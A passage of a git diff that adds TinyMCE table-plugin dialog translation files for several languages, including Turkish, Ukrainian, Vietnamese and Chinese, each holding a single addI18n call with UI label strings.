Group",scope:"Scope",tfoot:"Table Foot",tbody:"Table Body",thead:"Table Head","row_all":"Update all rows in table","row_even":"Update even rows in table","row_odd":"Update odd rows in table","row_row":"Update current row","cell_all":"Update all cells in table","cell_row":"Update all cells in row","cell_cell":"Update current cell",th:"Header",td:"Data",summary:"Summary",bgimage:"\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07 image",rtl:"\u0e02\u0e27\u0e32\u0e44\u0e1b\u0e0b\u0e49\u0e32\u0e22",ltr:"\u0e0b\u0e49\u0e32\u0e22\u0e44\u0e1b\u0e02\u0e27\u0e32",mime:"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22 MIME type",langcode:"\u0e42\u0e04\u0e4a\u0e14\u0e20\u0e32\u0e29\u0e32",langdir:"\u0e17\u0e34\u0e28\u0e17\u0e32\u0e07\u0e01\u0e32\u0e23\u0e2d\u0e48\u0e32\u0e19",style:"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",id:"Id","merge_cells_title":"Merge table cells",bgcolor:"\u0e2a\u0e35\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07",bordercolor:"\u0e2a\u0e35\u0e01\u0e23\u0e2d\u0e1a","align_bottom":"\u0e25\u0e48\u0e32\u0e07","align_top":"\u0e1a\u0e19",valign:"Vertical alignment","cell_type":"Cell type","cell_title":"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e40\u0e0b\u0e25\u0e25\u0e4c\u0e43\u0e19\u0e32\u0e23\u0e32\u0e07","row_title":"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e41\u0e16\u0e27\u0e43\u0e19\u0e15\u0e32\u0e23\u0e32\u0e07","align_middle":"\u0e01\u0e25\u0e32\u0e07","align_right":"\u0e02\u0e27\u0e32","align_left":"\u0e0b\u0e49\u0e32\u0e22","align_default":"\u0e04\u0e48\u0e32\u0e40\u0e23\u0e34\u0e48\u0e21\u0e15\u0e49\u0e19",align:"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07\u0e08\u0e31\u0e14\u0e27\u0e32\u0e07",border:"\u0e01\u0e23\u0e2d\u0e1a",cellpadding:"Cellpadding",cellspacing:"Cellspacing",rows:"\u0e41\u0e16\u0e27",cols:"\u0e04\u0e2d\u0e25\u0e31\u0e21\u0e1e\u0e4c",height:"\u0e2a\u0e39\u0e07",width:"\u0e01\u0e27\u0e49\u0e32\u0e07",title:"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e15\u0e32\u0e23\u0e32\u0e07",rowtype:"Row in table part","advanced_props":"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07","general_props":"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b","advanced_tab":"\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07","general_tab":"\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b","cell_col":"Update all cells in column"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/tr_dlg.js b/js/tiny_mce/plugins/table/langs/tr_dlg.js new file mode 100755 index 0000000..28020cf --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.table_dlg',{"rules_border":"kenarl\u0131k","rules_box":"kutu","rules_vsides":"dikey kenarlar","rules_rhs":"sa\u011f yatay kenarlar","rules_lhs":"sol yatay kenarlar","rules_hsides":"yatay kenarlar","rules_below":"alt\u0131nda","rules_above":"\u00fcst\u00fcnde","rules_void":"yok",rules:"\u00c7izgiler","frame_all":"t\u00fcm\u00fc","frame_cols":"s\u00fctunlar","frame_rows":"sat\u0131rlar","frame_groups":"gruplar","frame_none":"hi\u00e7biri",frame:"\u00c7er\u00e7eve",caption:"Tablo ba\u015fl\u0131\u011f\u0131","missing_scope":"Tablo ba\u015fl\u0131k h\u00fccresi i\u00e7in bir kapsam belirlemeden devam etmek istedi\u011finize emin misiniz? Bu de\u011fer olmadan, engelli kullan\u0131c\u0131lar tabloda g\u00f6sterilen verileri ve i\u00e7eri\u011fi anlamas\u0131 zordur.","cell_limit":"Maksimum h\u00fccre say\u0131s\u0131 ($cells) a\u015f\u0131ld\u0131.","row_limit":"Maksimum sat\u0131r say\u0131s\u0131 ($rows) a\u015f\u0131ld\u0131.","col_limit":"Maksimum s\u00fctun say\u0131s\u0131 ($cols) a\u015f\u0131ld\u0131.",colgroup:"S\u00fctun Grubu",rowgroup:"Sat\u0131r Grubu",scope:"Kapsam",tfoot:"Tablo Alt\u0131",tbody:"Tablo G\u00f6vdesi",thead:"Tablo Ba\u015fl\u0131\u011f\u0131","row_all":"Tablodaki t\u00fcm sat\u0131rlar\u0131 g\u00fcncelle","row_even":"Tablodaki \u00e7ift nolu sat\u0131rlar\u0131 g\u00fcncelle","row_odd":"Tablodaki tek nolu sat\u0131rlar\u0131 g\u00fcncelle","row_row":"Se\u00e7ili sat\u0131r\u0131 g\u00fcncelle","cell_all":"Tablodaki t\u00fcm h\u00fccreleri g\u00fcncelle","cell_row":"Sat\u0131rdaki t\u00fcm h\u00fccreleri g\u00fcncelle","cell_cell":"Se\u00e7ili h\u00fccreleri g\u00fcncelle",th:"Ba\u015fl\u0131k",td:"Veri",summary:"\u00d6zet",bgimage:"Arkaplan resmi",rtl:"Soldan sa\u011fa",ltr:"Sa\u011fdan sola",mime:"Hedef MIME tipi",langcode:"Dil kodu",langdir:"Dil y\u00f6n\u00fc",style:"Stil",id:"Id","merge_cells_title":"Tablo h\u00fccrelerini birle\u015ftir",bgcolor:"Arkaplan rengi",bordercolor:"Kenarl\u0131k rengi","align_bottom":"Alt","align_top":"\u00dcst",valign:"Dikey hizalama","cell_type":"H\u00fccre tipi","cell_title":"Tablo h\u00fccre \u00f6zellikleri","row_title":"Tablo sat\u0131r \u00f6zellikleri","align_middle":"Orta","align_right":"Sa\u011f","align_left":"Sol","align_default":"Varsay\u0131lan",align:"Hizalama",border:"Kenarl\u0131k",cellpadding:"H\u00fccre d\u0131\u015f\u0131 bo\u015flu\u011fu",cellspacing:"H\u00fccre i\u00e7i bo\u015flu\u011fu",rows:"Sat\u0131rlar",cols:"S\u00fctunlar",height:"Y\u00fckseklik",width:"Geni\u015flik",title:"Tablo Ekle/D\u00fczenle",rowtype:"Tablo b\u00f6l\u00fcm\u00fcndeki sat\u0131r","advanced_props":"Geli\u015fmi\u015f \u00f6zellikler","general_props":"Genel \u00f6zellikler","advanced_tab":"Geli\u015fmi\u015f","general_tab":"Genel","cell_col":"S\u00fctundaki b\u00fct\u00fcn h\u00fccreleri g\u00fcncelle"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/tw_dlg.js b/js/tiny_mce/plugins/table/langs/tw_dlg.js new file mode 100755 index 0000000..12c3c44 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.table_dlg',{"rules_border":"\u5916\u6846","rules_box":"\u76d2\u578b","rules_vsides":"\u5782\u76f4","rules_rhs":"\u53f3\u908a","rules_lhs":"\u5de6\u908a","rules_hsides":"\u6c34\u5e73","rules_below":"\u4e0b","rules_above":"\u4e0a","rules_void":"\u7a7a",rules:"\u898f\u5247","frame_all":"\u5168\u90e8","frame_cols":"\u6b04","frame_rows":"\u884c","frame_groups":"\u7fa4\u7d44","frame_none":"\u7121",frame:"\u6846\u67b6",caption:"\u8868\u683c\u6a19\u984c","missing_scope":"\u60a8\u78ba\u5b9a\u4e0d\u6307\u5b9a\u8868\u683c\u982d\u90e8\u5132\u5b58\u683c\u4e00\u500b\u7bc4\u570d\u55ce\uff1f\u6c92\u6709\u5b83\uff0c\u6216\u8a31\u5c0d\u90a3\u4e9b\u6709\u969c\u7919\u7684\u4f7f\u7528\u8005\u7406\u89e3\u8868\u683c\u5c55\u793a\u7684\u5167\u5bb9\u6216\u6578\u64da\u66f4\u52a0\u7684\u56f0\u96e3\u3002","cell_limit":"\u5df2\u8d85\u904e\u6700\u5927\u5132\u5b58\u683c\u9650\u5236{$cells} \u5132\u5b58\u683c\u3002","row_limit":"\u5df2\u8d85\u904e\u6700\u5927\u884c\u6578\u9650\u5236 {$rows} \u5217\u3002","col_limit":"\u5df2\u8d85\u904e\u6700\u5927\u6b04\u6578\u9650\u5236 {$cols} \u6b04\u3002",colgroup:"\u6b04\u7fa4\u7d44",rowgroup:"\u884c\u7fa4\u7d44",scope:"\u7bc4\u570d",tfoot:"\u8868\u5c3e",tbody:"\u8868\u683c\u4e3b\u9ad4",thead:"\u8868\u982d","row_all":"\u66f4\u65b0\u8868\u683c\u7684\u6240\u6709\u884c","row_even":"\u66f4\u65b0\u8868\u683c\u7684\u5076\u6578\u884c","row_odd":"\u66f4\u65b0\u8868\u683c\u7684\u5947\u6578\u884c","row_row":"\u66f4\u65b0\u76ee\u524d\u884c","cell_all":"\u66f4\u65b0\u6240\u6709\u5132\u5b58\u683c","cell_row":"\u66f4\u65b0\u76ee\u524d\u884c\u7684\u5132\u5b58\u683c","cell_cell":"\u66f4\u65b0\u76ee\u524d\u5132\u5b58\u683c",th:"\u8868\u982d",td:"\u8cc7\u6599",summary:"\u6458\u8981",bgimage:"\u80cc\u666f\u5716\u7247",rtl:"\u5f9e\u53f3\u5230\u5de6",ltr:"\u5f9e\u5de6\u5230\u53f3",mime:"MIME \u985e\u578b",langcode:"\u8a9e\u8a00\u7de8\u78bc",langdir:"\u8a9e\u8a00\u66f8\u5beb\u65b9\u5411",style:"\u6a23\u5f0f",id:"ID","merge_cells_title":"\u5408\u4f75\u5132\u5b58\u683c",bgcolor:"\u80cc\u666f\u984f\u8272",bordercolor:"\u908a\u6846\u984f\u8272","align_bottom":"\u9760\u4e0b","align_top":"\u9760\u4e0a",valign:"\u5782\u76f4\u5c0d\u9f4a","cell_type":"\u5132\u5b58\u683c\u985e\u578b","cell_title":"\u5132\u5b58\u683c\u6a19\u984c","row_title":"\u884c\u5c6c\u6027","align_middle":"\u7f6e\u4e2d\u5c0d\u9f4a","align_right":"\u9760\u53f3\u5c0d\u9f4a","align_left":"\u9760\u5de6\u5c0d\u9f4a","align_default":"\u9810\u8a2d",align:"\u5c0d\u9f4a\u65b9\u5f0f",border:"\u908a\u6846",cellpadding:"\u5132\u5b58\u683c\u908a\u8ddd",cellspacing:"\u5132\u5b58\u683c\u9593\u8ddd",rows:"\u884c\u6578",cols:"\u6b04\u6578",height:"\u9ad8\u5ea6",width:"\u5bec\u5ea6",title:"\u63d2\u5165/\u7de8\u8f2f\u8868\u683c",rowtype:"\u884c\u6240\u5728\u7684\u8868\u683c\u4f4d\u7f6e","advanced_props":"\u9032\u968e\u5c6c\u6027","general_props":"\u4e00\u822c\u5c6c\u6027","advanced_tab":"\u9032\u968e","general_tab":"\u4e00\u822c","cell_col":"Update all cells in column"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/uk_dlg.js b/js/tiny_mce/plugins/table/langs/uk_dlg.js new file mode 100755 index 0000000..396cbb6 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.table_dlg',{"rules_border":"\u0440\u0430\u043c\u043a\u0430","rules_box":"\u0431\u043e\u043a\u0441","rules_vsides":"v-\u0441\u0442\u043e\u0440\u043e\u043d\u0438","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"h-\u0441\u0442\u043e\u0440\u043e\u043d\u0438","rules_below":"\u0437\u043d\u0438\u0437\u0443","rules_above":"\u0437\u0432\u0435\u0440\u0445\u0443","rules_void":"\u043f\u0443\u0441\u0442\u043e",rules:"\u041f\u0440\u0430\u0432\u0438\u043b\u0430","frame_all":"\u0432\u0441\u0456","frame_cols":"\u0441\u0442\u043e\u0432\u043f\u0446\u0456","frame_rows":"\u0440\u044f\u0434\u043a\u0438","frame_groups":"\u0433\u0440\u0443\u043f\u0438","frame_none":"\u043d\u0456\u044f\u043a\u0438\u0439",frame:"\u0424\u0440\u0435\u0439\u043c",caption:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0442\u0430\u0431\u043b\u0438\u0446\u0456","missing_scope":"\u0412\u0438 \u0432\u043f\u0435\u0432\u043d\u0435\u043d\u0456, \u0449\u043e \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u043f\u0440\u043e\u0434\u043e\u0432\u0436\u0438\u0442\u0438 \u043d\u0435 \u0432\u043a\u0430\u0437\u0430\u0432\u0448\u0438 \u043c\u0435\u0436\u0456 \u0434\u043b\u044f \u0446\u0456\u0454\u0457 \u043a\u043e\u043c\u0456\u0440\u043a\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443. \u0411\u0435\u0437 \u0446\u044c\u043e\u0433\u043e \u0434\u0435\u044f\u043a\u0438\u043c \u043a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447\u0430\u043c \u0431\u0443\u0434\u0435 \u0432\u0430\u0436\u043a\u043e \u0437\u0440\u043e\u0437\u0443\u043c\u0456\u0442\u0438 \u0437\u043c\u0456\u0441\u0442 \u0442\u0430\u0431\u043b\u0438\u0446\u0456.","cell_limit":"\u0412\u0438 \u043f\u0435\u0440\u0435\u0432\u0438\u0449\u0438\u043b\u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443 \u043a\u0456\u043b\u044c\u043a\u0456\u0441\u0442\u044c \u043a\u043e\u043c\u0456\u0440\u043e\u043a: {$cells}.","row_limit":"\u0412\u0438 \u043f\u0435\u0440\u0435\u0432\u0438\u0449\u0438\u043b\u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443 \u043a\u0456\u043b\u044c\u043a\u0456\u0441\u0442\u044c \u0440\u044f\u0434\u043a\u0456\u0432: {$rows}.","col_limit":"\u0412\u0438 \u043f\u0435\u0440\u0435\u0432\u0438\u0449\u0438\u043b\u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443 \u043a\u0456\u043b\u044c\u043a\u0456\u0441\u0442\u044c \u0441\u0442\u043e\u0432\u043f\u0446\u0456\u0432: {$cols}.",colgroup:"\u0413\u0440\u0443\u043f\u0430 \u0441\u0442\u043e\u0432\u043f\u0446\u0456\u0432",rowgroup:"\u0413\u0440\u0443\u043f\u0430 \u043a\u043e\u043c\u0456\u0440\u043e\u043a",scope:"\u0420\u043e\u0437\u043c\u0430\u0445",tfoot:"\u041d\u0438\u0436\u043d\u044f \u0447\u0430\u0441\u0442\u0438\u043d\u0430",tbody:"\u0422\u0456\u043b\u043e \u0442\u0430\u0431\u043b\u0438\u0446\u0456",thead:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0442\u0430\u0431\u043b\u0438\u0446\u0456","row_all":"\u041e\u043d\u043e\u0432\u0438\u0442\u0438 \u0432\u0441\u0456 \u0440\u044f\u0434\u043a\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0456","row_even":"\u041e\u043d\u043e\u0432\u0438\u0442\u0438 \u043f\u0430\u0440\u043d\u0456 \u0440\u044f\u0434\u043a\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0456","row_odd":"\u041e\u043d\u043e\u0432\u0438\u0442\u0438 \u043d\u0435\u043f\u0430\u0440\u043d\u0456 \u0440\u044f\u0434\u043a\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446","row_row":"\u041e\u043d\u043e\u0432\u0438\u0442\u0438 \u043f\u043e\u0442\u043e\u0447\u043d\u0438\u0439 \u0440\u044f\u0434\u043e\u043a","cell_all":"\u041e\u043d\u043e\u0432\u0438\u0442\u0438 \u0432\u0441\u0456 \u043a\u043e\u043c\u0456\u0440\u043a\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0456","cell_row":"\u041e\u043d\u043e\u0432\u0438\u0442\u0438 \u0432\u0441\u0456 \u043a\u043e\u043c\u0456\u0440\u043a\u0438 \u0432 \u0440\u044f\u0434\u043a\u0443","cell_cell":"\u041e\u043d\u043e\u0432\u0438\u0442\u0438 \u043f\u043e\u0442\u043e\u0447\u043d\u0443 \u043a\u043e\u043c\u0456\u0440\u043a\u0443",th:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",td:"\u0414\u0430\u043d\u043d\u0456",summary:"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435",bgimage:"\u0424\u043e\u043d\u043e\u0432\u0435 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",rtl:"\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0456\u0432\u043e",ltr:"\u0417\u043b\u0456\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e",mime:"MIME-\u0442\u0438\u043f \u0446\u0456\u043b\u0456",langcode:"\u041a\u043e\u0434 \u043c\u043e\u0432\u0438",langdir:"\u041d\u0430\u043f\u0440\u044f\u043c \u043c\u043e\u0432\u0438",style:"\u0421\u0442\u0438\u043b\u044c",id:"\u0406\u0434\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0442\u043e\u0440","merge_cells_title":"\u041e\u0431\'\u0454\u0434\u043d\u0430\u0442\u0438 \u043a\u043e\u043c\u0456\u0440\u043a\u0438",bgcolor:"\u041a\u043e\u043b\u0456\u0440 \u0444\u043e\u043d\u0443",bordercolor:"\u041a\u043e\u043b\u0456\u0440 \u0433\u0440\u0430\u043d\u0438\u0446\u0456","align_bottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_top":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e",valign:"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u0435 \u0432\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f","cell_type":"\u0422\u0438\u043f \u043a\u043e\u043c\u0456\u0440\u043a\u0438","cell_title":"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u043a\u043e\u043c\u0456\u0440\u043a\u0438 \u0442\u0430\u0431\u043b\u0438\u0446\u0456","row_title":"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0440\u044f\u0434\u043a\u0443 \u0442\u0430\u0431\u043b\u0438\u0446\u0456","align_middle":"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443","align_right":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_left":"\u041f\u043e \u043b\u0456\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_default":"\u0417\u0430 \u0437\u0430\u043c\u043e\u0432\u0447\u0430\u043d\u043d\u044f\u043c",align:"\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",border:"\u0420\u0430\u043c\u043a\u0430",cellpadding:"\u0412\u0456\u0434\u0441\u0442\u0443\u043f\u0438 \u0443 \u043a\u043e\u043c\u0456\u0440\u043a\u0430\u0445",cellspacing:"\u0412\u0456\u0434\u0441\u0442\u0430\u043d\u044c \u043c\u0456\u0436 \u043a\u043e\u043c\u0456\u0440\u043a\u0430\u043c\u0438",rows:"\u0420\u044f\u0434\u043a\u0438",cols:"\u0421\u0442\u043e\u0432\u043f\u0446\u0456",height:"\u0412\u0438\u0441\u043e\u0442\u0430",width:"\u0428\u0438\u0440\u0438\u043d\u0430",title:"\u0414\u043e\u0434\u0430\u0442\u0438/\u0417\u043c\u0456\u043d\u0438\u0442\u0438 \u0442\u0430\u0431\u043b\u0438\u0446\u044e",rowtype:"\u0420\u044f\u0434\u043e\u043a \u0432 \u0447\u0430\u0441\u0442\u0438\u043d\u0456 \u0442\u0430\u0431\u043b\u0438\u0446\u0456","advanced_props":"\u0420\u043e\u0437\u0448\u0438\u0440\u0435\u043d\u0456 \u0432\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456","general_props":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0456 \u0432\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456","advanced_tab":"\u0414\u043e\u0434\u0430\u0442\u043a\u043e\u0432\u043e","general_tab":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435","cell_col":"\u041e\u043d\u043e\u0432\u0438\u0442\u0438 \u0432\u0441\u0456 \u043a\u043b\u0456\u0442\u0438\u043d\u043a\u0438 \u0432 \u043a\u043e\u043b\u043e\u043d\u0446\u0456"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/vi_dlg.js b/js/tiny_mce/plugins/table/langs/vi_dlg.js new file mode 100755 index 0000000..64318f6 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.table_dlg',{"rules_border":"vi\u1ec1n","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"d\u01b0\u1edbi","rules_above":"tr\u00ean","rules_void":"tr\u1ed1ng kh\u00f4ng",rules:"Th\u01b0\u1edbc","frame_all":"t\u1ea5t","frame_cols":"c\u1ed9t","frame_rows":"h\u00e0ng","frame_groups":"nh\u00f3m","frame_none":"kh\u00f4ng",frame:"Khung",caption:"Ch\u00fa t\u00edch b\u1ea3ng","missing_scope":"Ti\u1ebfp t\u1ee5c v\u1edbi \u0111\u01b0\u1eddng d\u1eabn kh\u00f4ng t\u1ed3n t\u1ea1i ?","cell_limit":"B\u1ea1n \u0111\u00e3 v\u01b0\u1ee3t qu\u00e1 s\u1ed1 t\u1ed1i \u0111a \u00f4 c\u1ee7a {$cells}.","row_limit":"B\u1ea1n \u0111\u00e3 v\u01b0\u1ee3t qu\u00e1 s\u1ed1 t\u1ed1i \u0111a h\u00e0ng c\u1ee7a {$rows}.","col_limit":"B\u1ea1n \u0111\u00e3 v\u01b0\u1ee3t qu\u00e1 s\u1ed1 t\u1ed1i \u0111a c\u1ed9t c\u1ee7a {$cols}.",colgroup:"Nh\u00f3m c\u1ed9t",rowgroup:"Nh\u00f3m h\u00e0ng",scope:"Ph\u1ea1m vi",tfoot:"Ch\u00e2n b\u1ea3ng",tbody:"Th\u00e2n b\u1ea3n",thead:"\u0110\u1ea7u b\u1ea3ng","row_all":"C\u1eadp nh\u1eadt t\u1ea5t h\u00e0ng trong b\u1ea3ng","row_even":"C\u1eadp nh\u1eadt h\u00e0ng ch\u1eb5n trong b\u1ea3ng","row_odd":"C\u1eadp nh\u1eadt h\u00e0ng l\u1ebb trong b\u1ea3ng","row_row":"C\u1eadp nh\u1eadt h\u00e0ng hi\u1ec7n th\u1eddi","cell_all":"C\u1eadp nh\u1ea5t t\u1ea5t c\u00e1c \u00f4 trong b\u1ea3ng","cell_row":"C\u1eadp nh\u1ea5t t\u1ea5t c\u00e1c \u00f4 trong h\u00e0ng","cell_cell":"C\u1eadp nh\u1eadt \u00f4 hi\u1ec7n th\u1eddi",th:"\u0110\u1ea7u \u0111\u1ec1",td:"D\u1eef li\u1ec7u",summary:"T\u00f3m l\u01b0\u1ee3c",bgimage:"\u1ea2nh n\u1ec1n",rtl:"Ph\u1ea3i qua tr\u00e1i",ltr:"Tr\u00e1i qua ph\u1ea3i",mime:"Ki\u1ec3u MIME \u0111\u00edch",langcode:"M\u00e3 ng\u00f4n ng\u1eef",langdir:"H\u01b0\u1edbng ng\u00f4n ng\u1eef",style:"Ki\u1ec3u d\u00e1ng",id:"Id","merge_cells_title":"K\u1ebft h\u1ee3p c\u00e1c \u00f4 c\u1ee7a b\u1ea3ng",bgcolor:"M\u00e0u n\u1ec1n",bordercolor:"M\u00e0u vi\u1ec1n","align_bottom":"D\u01b0\u1edbi","align_top":"Tr\u00ean",valign:"Canh l\u1ec1 d\u1ecdc","cell_type":"Lo\u1ea1i \u00f4","cell_title":"Thu\u1ed9c t\u00ednh \u00f4","row_title":"Thu\u1ed9c t\u00ednh h\u00e0ng","align_middle":"Gi\u1eefa","align_right":"Ph\u1ea3i","align_left":"Tr\u00e1i","align_default":"M\u1eb7c \u0111\u1ecbnh",align:"Canh l\u1ec1",border:"Vi\u1ec1n",cellpadding:"Kho\u1ea3ng l\u00f3t \u00f4",cellspacing:"Kho\u1ea3ng c\u00e1ch \u00f4",rows:"H\u00e0ng",cols:"C\u1ed9t",height:"Chi\u1ec1u cao",width:"Chi\u1ec1u r\u1ed9ng",title:"Ch\u00e8n/S\u1eeda b\u1ea3ng",rowtype:"H\u00e0ng trong t\u1eebng ph\u1ea7n b\u1ea3ng","advanced_props":"Thu\u1ed9c t\u00ednh n\u00e2ng cao","general_props":"Thu\u1ed9c t\u00ednh chung","advanced_tab":"N\u00e2ng cao","general_tab":"Chung","cell_col":"Update all cells in column"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/zh-cn_dlg.js b/js/tiny_mce/plugins/table/langs/zh-cn_dlg.js new file mode 100755 index 0000000..4fe3003 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.table_dlg',{"rules_border":"\u8fb9\u6846","rules_box":"\u6846","rules_vsides":"\u5782\u76f4","rules_rhs":"\u53f3\u8fb9","rules_lhs":"\u5de6\u8fb9","rules_hsides":"\u6c34\u5e73","rules_below":"\u4e0b","rules_above":"\u4e0a","rules_void":"\u7a7a",rules:"\u89c4\u5219","frame_all":"\u5168\u90e8","frame_cols":"\u5217","frame_rows":"\u884c","frame_groups":"\u5206\u7ec4","frame_none":"\u65e0",frame:"\u6846\u67b6",caption:"\u683c\u6807\u9898","missing_scope":"\u60a8\u6ca1\u6709\u6307\u5b9a\u8868\u683c\u7684\u6807\u9898\u5355\u5143\uff0c\u5982\u679c\u4e0d\u8bbe\u7f6e\uff0c\u53ef\u80fd\u4f1a\u4f7f\u7528\u6237\u96be\u4ee5\u7406\u89e3\u60a8\u7684\u8868\u683c\u7684\u5185\u5bb9\u3002\u60a8\u8981\u7ee7\u7eed\u5417\uff1f","cell_limit":"\u5df2\u7ecf\u8d85\u51fa\u6700\u5927\u5355\u5143\u683c\u6570{$cells}\u3002","row_limit":"\u5df2\u7ecf\u8d85\u51fa\u6700\u5927\u884c\u6570{$rows}\u3002","col_limit":"\u5df2\u7ecf\u8d85\u51fa\u6700\u5927\u5217\u6570{$cols}\u3002",colgroup:"\u5217\u5206\u7ec4",rowgroup:"\u884c\u5206\u7ec4",scope:"\u8303\u56f4",tfoot:"\u8868\u5c3e",tbody:"\u8868\u683c\u4e3b\u4f53",thead:"\u8868\u5934","row_all":"\u66f4\u65b0\u8868\u683c\u7684\u6240\u6709\u884c","row_even":"\u66f4\u65b0\u8868\u683c\u7684\u5076\u6570\u884c","row_odd":"\u66f4\u65b0\u8868\u683c\u7684\u5947\u6570\u884c","row_row":"\u66f4\u65b0\u5f53\u524d\u884c","cell_all":"\u66f4\u65b0\u6240\u6709\u5355\u5143\u683c","cell_row":"\u66f4\u65b0\u5f53\u524d\u884c\u7684\u5355\u5143\u683c","cell_cell":"\u66f4\u65b0\u5f53\u524d\u5355\u5143\u683c",th:"\u8868\u5934",td:"\u5185\u5bb9",summary:"\u6458\u8981",bgimage:"\u80cc\u666f\u56fe\u7247",rtl:"\u4ece\u53f3\u5230\u5de6",ltr:"\u4ece\u5de6\u5230\u53f3",mime:"\u76ee\u6807MIME\u7c7b\u578b",langcode:"\u8bed\u8a00\u7f16\u7801",langdir:"\u8bed\u8a00\u4e66\u5199\u65b9\u5411",style:"\u6837\u5f0f",id:"ID","merge_cells_title":"\u5408\u5e76\u5355\u5143\u683c",bgcolor:"\u80cc\u666f\u989c\u8272",bordercolor:"\u8fb9\u6846\u989c\u8272","align_bottom":"\u9760\u4e0b","align_top":"\u9760\u4e0a",valign:"\u5782\u76f4\u5bf9\u9f50","cell_type":"\u5355\u5143\u683c\u7c7b\u578b","cell_title":"\u5355\u5143\u683c\u5c5e\u6027","row_title":"\u884c\u5c5e\u6027","align_middle":"\u5c45\u4e2d","align_right":"\u53f3\u5bf9\u9f50","align_left":"\u5de6\u5bf9\u9f50","align_default":"\u9ed8\u8ba4",align:"\u5bf9\u9f50",border:"\u8fb9\u6846",cellpadding:"\u5355\u5143\u683c\u8fb9\u8ddd",cellspacing:"\u5355\u5143\u683c\u95f4\u8ddd",rows:"\u884c\u6570",cols:"\u5217\u6570",height:"\u9ad8\u5ea6",width:"\u5bbd\u5ea6",title:"\u63d2\u5165/\u7f16\u8f91 \u8868\u683c",rowtype:"\u884c\u6240\u5728\u7684\u8868\u683c\u4f4d\u7f6e","advanced_props":"\u9ad8\u7ea7\u5c5e\u6027","general_props":"\u666e\u901a\u5c5e\u6027","advanced_tab":"\u9ad8\u7ea7","general_tab":"\u666e\u901a","cell_col":"\u66f4\u65b0\u8be5\u5217\u5168\u90e8\u5355\u5143\u683c"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/zh-tw_dlg.js b/js/tiny_mce/plugins/table/langs/zh-tw_dlg.js new file mode 100755 index 